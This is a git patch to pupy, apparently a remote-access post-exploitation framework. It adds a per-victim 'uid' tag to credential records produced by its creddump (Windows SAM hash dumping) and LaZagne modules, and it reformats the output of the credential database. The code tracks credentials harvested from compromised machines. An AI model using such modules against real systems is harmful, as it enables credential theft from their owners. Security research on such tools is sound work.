From 31ce1efdc03858f52938dd4bcde80bbcdff56d5f Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sat, 27 Aug 2016 12:58:47 +0200 Subject: [PATCH] add uid to creds DB --- pupy/modules/creddump.py | 4 ++-- pupy/modules/lazagne.py | 2 ++ pupy/pupylib/utils/credentials.py | 11 ++++++----- 3 files changed, 10 insertions(+), 7 deletions(-) diff --git a/pupy/modules/creddump.py b/pupy/modules/creddump.py index f0b1eb7f..ba1b71a9 100644 --- a/pupy/modules/creddump.py +++ b/pupy/modules/creddump.py @@ -118,7 +118,7 @@ class CredDump(PupyModule): db = Credentials() db.add([ - {'hashes':hsh, 'Tool': 'Creddump'} for hsh in hashes + {'hashes':hsh, 'Tool': 'Creddump', 'uid':self.client.short_name()} for hsh in hashes ]) for hsh in hashes: @@ -192,7 +192,7 @@ class CredDump(PupyModule): if not lmhash: lmhash = empty_lm if not nthash: nthash = empty_nt self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex'))) - hashes.append({'hashes': "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')), 'Tool': 'Creddump'}) + hashes.append({'hashes': "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')), 'Tool': 'Creddump', 'uid':self.client.short_name()}) db = Credentials() db.add(hashes) diff --git a/pupy/modules/lazagne.py b/pupy/modules/lazagne.py index e6476948..90f65aa1 100644 --- a/pupy/modules/lazagne.py +++ b/pupy/modules/lazagne.py @@ -102,6 +102,7 @@ class LaZagne(PupyModule): for cred in creds: clean_cred = {} clean_cred['Tool'] = 'Lazagne' + clean_cred['uid']=self.client.short_name() for c in cred.keys(): clean_cred[c] = cred[c].encode('utf-8') print "%s: %s" % (c, cred[c]) @@ -141,6 +142,7 @@ class LaZagne(PupyModule): ishashes = False if cred: cred['Tool']="LaZagne" + cred['uid']=self.client.short_name() if user: cred['System user'] = user if category: diff --git a/pupy/pupylib/utils/credentials.py b/pupy/pupylib/utils/credentials.py index d4c5a75e..6bf9069f 100644 --- a/pupy/pupylib/utils/credentials.py +++ b/pupy/pupylib/utils/credentials.py @@ -1,7 +1,8 @@ +from __future__ import unicode_literals import os import json -class Credentials(): +class Credentials(object): def __init__(self): ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "db")) dbName = 'creds.json' @@ -43,6 +44,8 @@ class Credentials(): # List sorted by Tools data = sorted(data['creds'], key=lambda d: d["Tool"], reverse=True) + max_uid_len = max([len(x.get("uid","?")) for x in data]) + for creds in data: if "Tool" in creds: if tool != creds["Tool"]: @@ -51,13 +54,11 @@ class Credentials(): del creds["Tool"] if tool == 'Creddump': - for cred in creds: - if creds[cred]: - res+= '%s\n' % creds[cred] + res+= ('{:<%s} / {}\n'%(max_uid_len)).format(creds.get("uid", "?"), creds["hashes"].strip()) else: for cred in creds: if creds[cred]: - res+= '%s: %s\n' % (cred, creds[cred]) + res+= '%s: %s\n' % (cred.strip(), creds[cred].strip()) res+="\n" if not res.strip():